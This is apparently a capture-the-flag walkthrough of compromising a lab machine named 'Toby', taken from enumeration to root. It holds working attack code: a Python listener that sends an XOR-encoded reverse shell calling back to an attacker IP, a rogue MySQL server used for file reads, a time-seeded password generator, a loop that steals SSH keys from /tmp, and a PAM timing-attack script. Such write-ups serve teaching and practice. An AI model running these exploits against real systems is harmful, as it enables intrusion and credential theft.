Beware of #hackers bearing gifts 🐴
Enumeration
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
10022/tcp open unknown syn-ack ttl 62
10080/tcp open amanda syn-ack ttl 62
We have a few interesting ports we can look into, let’s start with port 80:
We see reference to wordpress.toby.htb
, this doesn’t take us very far intially but it does take us to a domain. Bruteforcing directories on domain leads us to backup.toby.htb
:
We can register an account and look for repositories:
We see two users, toby-admin and ralf. We can’t view their repos but we can try bruteforce them:
sudo gobuster dir --url http://backup.toby.htb/toby-admin --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
We end up finding:
backup.toby.htb/toby-admin/backup/
We can clone the repo locally and enumerate further:
backup.toby.htb/toby-admin/backup.git
Foothold
Checking the content of the backup archive, we see there’s an interesting function in the comment file:
Attempting to decode this shows it’s repeated multiple times, a bit of a pain. Conveniently, there’s an online tool for this:
https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php
We past in the eval and get the following:
if($comment_author_email=="help@toby.htb"&&$comment_author_url=="http://test.toby.htb/"&&substr($comment_content,0,8)=="746f6279"){$a=substr($comment_content,8);$host=explode(":",$a)[0];$sec=explode(":",$a)[1];$d="/usr/bin/wordpress_comment_validate";include $d;wp_validate_4034a3($host,$sec);return new WP_Error('unspecified error');}
It looks to initiate a reverse shell, let’s try it:
Nothing happens, let’s check wireshark and see what’s happening:
Interesting, let’s try capture the connection on port 20053:
This is a little tedious, the message is blank if we sent anything that isn’t an even number of hex characters. The GUID before I changes per connection but the $sec value (everything after the ‘:’) is always the same. If we decode the 2nd part of the message, we get:
We create a quick script to make decoding this easier:
import binascii
import socket
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',20053))
s.listen(1)
while True:
con, addr = s.accept()
data = con.recv(1024)
guid, hex_msg = data.split(b'|')
msg = binascii.unhexlify(hex_msg.strip())
print(f'{msg=}')
con.close()
s.close()
if __name__ == "__main__":
main()
We see some slight variations depending on the value of $sec:
The middle values also changes, even if we don’t change the value. We can change the script slightly to see if we can get the XOR key:
import binascii
import socket
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',20053))
s.listen(1)
while True:
con, addr = s.accept()
data = con.recv(1024)
guid, hex_msg = data.split(b'|')
msg = binascii.unhexlify(hex_msg.strip())
xorkey = binascii.unhexlify(msg.split(b':')[-1])
print(f"{xorkey}")
con.close()
s.close()
if __name__ == "__main__":
main()
We get values along the line of:
b'KEY_PREFIX_Y_KEY_SUFFIX'
b'KEY_PREFIX_O_KEY_SUFFIX'
b'KEY_PREFIX_A_KEY_SUFFIX'
Sending clear text commands unfortunately doesn’t work, we can do instead is one byte xor encode. Each time we send a command, we need to receive the key then reply using xor encodings with that key. Let’s try:
import binascii
import socket
def main():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',20053))
s.listen(1)
con, addr = s.accept()
print(f'[+] Connection from {addr[0]}')
data = con.recv(1024)
guid, hexMsg = data.split(b'|')
msg = binascii.unhexlify(hexMsg.strip())
xorMsg = binascii.unhexlify(msg.split(b':')[-1])
xorChr = xorMsg.split(b'_')[2]
assert(len(xorChr) == 1)
print(f'[*] XOR key: {xorChr.decode()}')
xor = ord(xorChr)
cmd = b"bash -c '/bin/bash -i >& /dev/tcp/10.10.14.149/4443 0>&1'"
encodedcmd = bytes([x^xor for x in cmd])
con.send(encodedcmd)
con.recv(1024)
con.close()
s.close()
if __name__ == "__main__":
main()
Make sure to change line 24 to your own command. We catch the shell and get www-data:
User own
If we want an interactive shell, we can use the script command in place of python:
/usr/bin/script -qc /bin/bash /dev/null
export TERM=xterm
ctrl + z
stty raw = echo; fg; reset
We’re incredibly limited to the tools we can use, we have dig which is extremely useful given that we already know our hostname (wordpress.toby.htb). If we do a lookup on ourselves, we get:
We can also run reverse searches, let’s try do this across the IP range and see what we find:
for i in {1..255}; do res=$(dig +short -x 172.69.0.${i}); if [ ! -z "$res" ]; then echo "172.69.0.${i} $res"; fi; done
We get some interesting results:
We can add these entries into /etc/hosts and set ourselves up a reverse proxy using chisel:
Attack:./chisel server -p 6969 --reverse
Target: ./chisel client 10.10.14.149:6969 R:socks
Let’s check out the sql service using t he password in wp-config.php:
proxychains mysql -h 172.69.0.102 -u root -pOnlyTheBestSecretsGoInShellScripts
It looks like we can access the wordpress and gogs databases:
Checking out the wordpress databases gives us a couple hashses:
We can crack this with john:
This is for the “toby” user, re-using this password allows us to sign in at gogs:
Enumerating the git repo doesn’t get us super far but we do get a better understanding on how the personal site is running. We can try get a copy of app.py from personal.toby.htb:
proxychains curl http://172.69.0.104/static/app.py
We see a couple api’s that we can use, dbtest is probably the most useful:
@app.route("/api/dbtest")
def dbtest():
hostname = "mysql.toby.htb"
if "secretdbtest_09ef" in request.args and validate_ip(request.args['secretdbtest_09ef']):
hostname = request.args['secretdbtest_09ef']
username = os.environ['DB_USERNAME']
password = os.environ['DB_PASSWORD']
# specify mysql_native_password in case of server incompatibility
process = Popen(['mysql', '-u', username, '-p'+password, '-h', hostname, '--default-auth=mysql_native_password', '-e', 'SELECT @@version;'], stdout=PIPE, stderr=PIPE)
stdout, stderr = process.communicate()
return (b'\n'.join([stdout, stderr])).strip()
Checking dbtest, we get a username however no luck logging in:
The hostname is decied by secretdbtest_09ef which is a variable we can manipulate. Let’s setup a rogueSQL server first:
https://raw.githubusercontent.com/jib1337/Rogue-MySQL-Server/master/RogueSQL.py
I opted to set this up to request an arbitrary file:
python RogueSQL.py -f /etc/passwd
We then make the request and capture it with wireshark:
proxychains curl http://172.69.0.104/api/dbtest?sceretdbtest_09ef=10.10.14.149
We’re given two salts and a hash. We need to convert this into a valid hash. We start by converting the hashes into hex:
echo -n 's{1!OJe?K;%Fp#Zz{weu' | xxd -p
We then combine this with the hash then add the mysql prefix:
$mysqlna$737b31214f4a653f4b3b254670235a7a7b776575*62fbcf8b7abe32279cce58d1afc5ecea7803d704
Now, annoyingly enough this hash is generated using time.time() in python, making cracking this a lot harder. We can write another script to create all possible combinations. Let’s start by grabbing the box’s time:
Note: this will change, just make a curl request to personal.toby.htb with the -v arg
We create a script to cover all times in that day:
import random
import datetime
import string
def main():
for i in range(start, start+(4*24*60*60)):
random.seed(i)
print(''.join([random.choice(allChars) for x in range(32)]))
if __name__ == "__main__":
start = int(datetime.datetime.strptime('17-04-2022', "%d-%m-%Y").timestamp())
allChars = string.ascii_letters + string.digits
main()
We then setup john to start cracking the password:
hashcat -m 11200 mysqlhash timePass
We can then SSH using the cracked password:
proxychains sshpass -p '4DyeEYPgzc7EaML1Y3o0HvQr9Tp9nikC' ssh jack@172.69.0.102
Using pspy, we see there’s a scp process that runs every few mintuest hat puts a key in /tmp/:
2021/10/09 10:57:01 CMD: UID=0 PID=52987 | scp -o StrictHostKeyChecking=no -i /tmp/tmp.bJUwfFuUOB/key /tmp/tmp.bJUwfFuUOB/backup.txt jack@172.69.0.1:/home/jack/backups/1633777021.txt
We use a quick oneliner to try read this as it’s written;
while : ; do cat /tmp/*/key 2>/dev/null; if [ $? -ne 1 ]; then break; fi; done
Finally, we can ssh using the key that we get to the main box and get our user flag:
Root own
Finally, we have the last gogs repo containing a database, inside the database we find encrypted text:
SELECT enc_blob,enc_key, enc_iv FROM support_enc JOIN enc_meta ON support_enc.enc_id = enc_meta.rowid;
enc_blob|enc_key|enc_iv
8dadda77134736074501b69eef9eb21ffdb5d4827565ab9ce50587349325ca27de85c94f318293df5c15d5177ecdcf4876f90b57cce5cd81a61275ac24971fe9|a3f2c368548d89ef3b81fe8a3cb75bd0a7365d60b4d0dfa9271f451bd71acbd5|c02905262cef2acd6a4002226f08be02
740e66f585adae9d02d4003116ffb9082779744ab1c21c420c4dd2c1aa53f265db23958e2a6af21bed36d160844d7c99ce3ae0921b94476567148269c2ee93857e4f2798feb1118e9d17974ade1310a70ed6707acd3ccd92c211f30f86cc2febbf9ad2178b243a3cd4923529770f81dc76a923f39de902b08dfe8c97af64e2132e01b1e0ec62532604e2f932e6189c27a41cd833ee54536e515588d58deb4fa7ebddb9d6a827624aee18601b40f23c6002b40a2c99e417f8f26bb55783e38768|3c621a058be8c975fa95f7342832e0b3de6ff010514419c73c89da0b4449eec0|e716209dd10c3c4b32e5366372cfd917
6292b9d69fed2672735a1b66a2cffe65|bb89aa0bdc765946bba46514e8c5ea5cdade26485f5daee74b28225dd1e22339|6e9d20d41bcfd75e595dd0a196301715
We can also find the relevant IVs and keys:
sqlite> select * from enc_meta;
enc_key|enc_iv|enc_mode
a3f2c368548d89ef3b81fe8a3cb75bd0a7365d60b4d0dfa9271f451bd71acbd5|c02905262cef2acd6a4002226f08be02|AES-CBC
3c621a058be8c975fa95f7342832e0b3de6ff010514419c73c89da0b4449eec0|e716209dd10c3c4b32e5366372cfd917|AES-CBC
bb89aa0bdc765946bba46514e8c5ea5cdade26485f5daee74b28225dd1e22339|6e9d20d41bcfd75e595dd0a196301715|AES-CBC
Decoding our second message gives us a hint towards the box’s authentication being slow:
https://cyberchef.org/#recipe=AES_Decrypt(%7B'option':'Hex','string':'3c621a058be8c975fa95f7342832e0b3de6ff010514419c73c89da0b4449eec0'%7D,%7B'option':'Hex','string':'e716209dd10c3c4b32e5366372cfd917'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=NzQwZTY2ZjU4NWFkYWU5ZDAyZDQwMDMxMTZmZmI5MDgyNzc5NzQ0YWIxYzIxYzQyMGM0ZGQyYzFhYTUzZjI2NWRiMjM5NThlMmE2YWYyMWJlZDM2ZDE2MDg0NGQ3Yzk5Y2UzYWUwOTIxYjk0NDc2NTY3MTQ4MjY5YzJlZTkzODU3ZTRmMjc5OGZlYjExMThlOWQxNzk3NGFkZTEzMTBhNzBlZDY3MDdhY2QzY2NkOTJjMjExZjMwZjg2Y2MyZmViYmY5YWQyMTc4YjI0M2EzY2Q0OTIzNTI5NzcwZjgxZGM3NmE5MjNmMzlkZTkwMmIwOGRmZThjOTdhZjY0ZTIxMzJlMDFiMWUwZWM2MjUzMjYwNGUyZjkzMmU2MTg5YzI3YTQxY2Q4MzNlZTU0NTM2ZTUxNTU4OGQ1OGRlYjRmYTdlYmRkYjlkNmE4Mjc2MjRhZWUxODYwMWI0MGYyM2M2MDAyYjQwYTJjOTllNDE3ZjhmMjZiYjU1NzgzZTM4NzY4
Let’s give this a test:
This is about 70ms slower than my local machine and is pretty consistent. I doubt this is a slow box, more so tampering. Let’s check PAM config:
Again, compared to the default config, these two entries were added manually. We can copy the pam.so file locally and reverse it:
scp -i id_rsa jack@toby.htb:/usr/lib/x86_64-linux-gnu/security/mypam.so ./
Popping this open in ghidra leads to us to find a weird file read in pam_sm_authenticate:
We can’t read it’s contents on the toby box but we do know it’s 10 bytes, making the password 10 characters long. Conventiently, the program flow is pretty easy to follow. Fore each charactyer found in the correct position, a usleep function is executed on line 86. Else, return to default authentication process (not important for us). Unfortunately, this isn’t perfect. We need to figure our an average time taken for each correct character. Let’s go ahead and make a quick script to do this for us:
import string
import time
import pexpect
def attempt(password):
t = time.time()
proc = pexpect.spawn('su - -c id')
proc.expect('Password:')
proc.sendline(password)
try:
proc.expect("\$")
except:
pass
return str(time.time()-t)
def main():
length = 10
padding = "-" * 9
for char in string.ascii_letters + string.digits:
print(char + ":" + attempt(char+padding))
if __name__ == "__main__":
main()
For me, this was an average of about 1.9, let’s finish the script to recover the password:
import string
import time
import sys
import numpy
import pexpect
from multiprocessing import Pool
## Global vars
passwordLen = 10
padding = "_" * 9
wordlist = string.ascii_letters + string.digits
def attempt(password):
t = time.time()
proc = pexpect.spawn('su - -c id')
proc.expect('Password:')
proc.sendline(password)
try:
proc.expect("\$")
except:
pass
return time.time()-t
def handleAttempts(p, c, pad, i=3):
y = np.array([attempt(p+c+pad) for _ in range(i)])
y = y[(y>np.quantile(y,0.1)) & (y<np.quantile(y,0.9))].tolist()
return sum(y) / len(y)
def getBaseline(i = 10, password = "_" * passwordLen):
total = 0
with Pool(4) as pool:
total = sum(pool.map(attempt, ["_" * (passwordLen - len(password)) for x in range(i)]))
return total / i
def getTime(p):
with Pool(4) as pool:
attempts = [p + x + ("_" * (10-len(p)-1)) for x in wordlist]
res = pool.map(attempt, list(attempts))
return list(zip(wordlist, res))
def main():
baseline = getBaseline()
print(f"[+] Baseline: {baseline}")
while True:
global p
if len(p) == passwordLen:
print(p)
exit()
t = getTime(p)
for x in t:
if x[1] > baseline * diff or x[1] < baseline * 0.8:
print(f"[+] Correct: {p}{x[0]}")
p += x[0]
baseline = x[1]
break
if __name__ == "__main__":
diff = 1.09
p = ""
main()
This script does take a while but we do eventually get the password:
TihPAQ4pse
We su with the password and grab our flag: